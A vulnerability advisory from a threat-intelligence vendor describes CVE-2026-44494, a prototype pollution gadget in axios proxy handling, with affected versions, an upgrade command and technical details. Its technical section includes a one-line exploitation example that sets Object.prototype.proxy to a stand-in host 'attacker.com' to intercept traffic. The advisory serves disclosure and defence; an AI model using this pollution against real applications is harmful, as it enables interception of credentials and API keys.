# CVE-2026-44494: Axios Prototype Pollution Gadget in Node Proxy Handling

Source: https://junglewise.ai/threats/cve-2026-44494-axios-prototype-pollution-gadget-in-node-proxy-handling  
Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats  
Published: 2026-06-11. Updated: 2026-09-25  
License: CC BY 4.0 with a link back

CVE-2026-44494 · Severity: high · CVSS 8.7 · Published 2026-06-11

Axios is an HTTP client library used by millions of Node.js applications to make web requests. A security flaw allows an attacker who can pollute JavaScript prototype objects (through other vulnerable dependencies) to intercept, read, and modify all HTTP traffic sent by the application—including authentication credentials and API keys. This turns the application into a transparent proxy that leaks all sensitive data to the attacker.

Technologies: [Axios](https://junglewise.ai/threats/technologies/axios), [axios (npm)](https://junglewise.ai/threats/technologies/npm-axios). Vendors: [Axios](https://junglewise.ai/threats/vendors/axios), [npm](https://junglewise.ai/threats/vendors/npm).

## Quick answers

**Is CVE-2026-44494 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2026-44494 being exploited in the wild.

**How severe is CVE-2026-44494?** High severity, with a CVSS score of 8.7, published 11 June 2026.

**Which products and versions are affected?** Axios 1.0.0 to < 1.16.0; axios (npm) SEMVER:introduced=1.0.0,fixed=1.16.0.

**Is there a fix for CVE-2026-44494?** Yes. axios (npm): upgrade to 1.16.0 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.

**How is CVE-2026-44494 attacked?** It is attacked over the network.

**Am I affected by CVE-2026-44494?** Check whether you run Axios or axios (npm) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

## How to fix

- axios (npm): upgrade to 1.16.0 or later

  ```sh
  npm install axios@1.16.0
  ```


## Technical details

The vulnerability is a prototype pollution gadget attack (CWE-1321) that exploits how axios merges configuration objects. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy using standard property access, which traverses the JavaScript prototype chain. Because the proxy property is intentionally omitted from axios defaults (lib/defaults/index.js), the merged config object has no own proxy property. When an attacker pollutes Object.prototype.proxy (via any prototype pollution vulnerability in axios's dependency tree—such as qs, minimist, body-parser, or others), the next axios HTTP request will find the polluted proxy value during property lookup. The setProxy() function then routes all HTTP traffic through the attacker's proxy server without constraint, allowing full interception of credentials, cookies, and response modification. Unlike the transformResponse gadget (which is constrained by assertOptions), the proxy gadget has zero validation—a single property assignment Object.prototype.proxy = {host: 'attacker.com', port: 8080} is sufficient for exploitation. Affected versions: all versions from 0.x through 1.15.0. Fixed in 1.16.0.

## Affected products

- axios axios 0.x through 1.15.0

## Identifiers

- CVE-2026-44494
- GHSA-35jp-ww65-95wh

## Timeline

- 2026-05-29: disclosed: GHSA-35jp-ww65-95wh published
- 2026-05-29: patched: Fix available in axios 1.16.0 (patch date inferred from disclosure)

## References

- [https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh](https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh)
- [https://github.com/axios/axios](https://github.com/axios/axios)

## Related threats

- [Axios NO_PROXY CIDR notation bypass in Node.js adapter](https://junglewise.ai/threats/cve-2026-101899-axios-cidr-form-no-proxy-entries-are-ignored-causing-proxy)
- [Axios prototype pollution in ToFormData](https://junglewise.ai/threats/cve-2026-101909-axios-is-a-promise-based-http-client-for-the-browser-and-node-js)
- [Axios fetch adapter header injection via prototype pollution](https://junglewise.ai/threats/cve-2026-101908-axios-is-a-promise-based-http-client-for-the-browser-and-node-js)
- [Axios fetch adapter maxRedirects bypass](https://junglewise.ai/threats/cve-2026-101907-axios-is-a-promise-based-http-client-for-the-browser-and-node-js)
- [Axios ReDoS in shouldBypassProxy regular expression](https://junglewise.ai/threats/cve-2026-101906-axios-is-a-promise-based-http-client-for-the-browser-and-node-js)
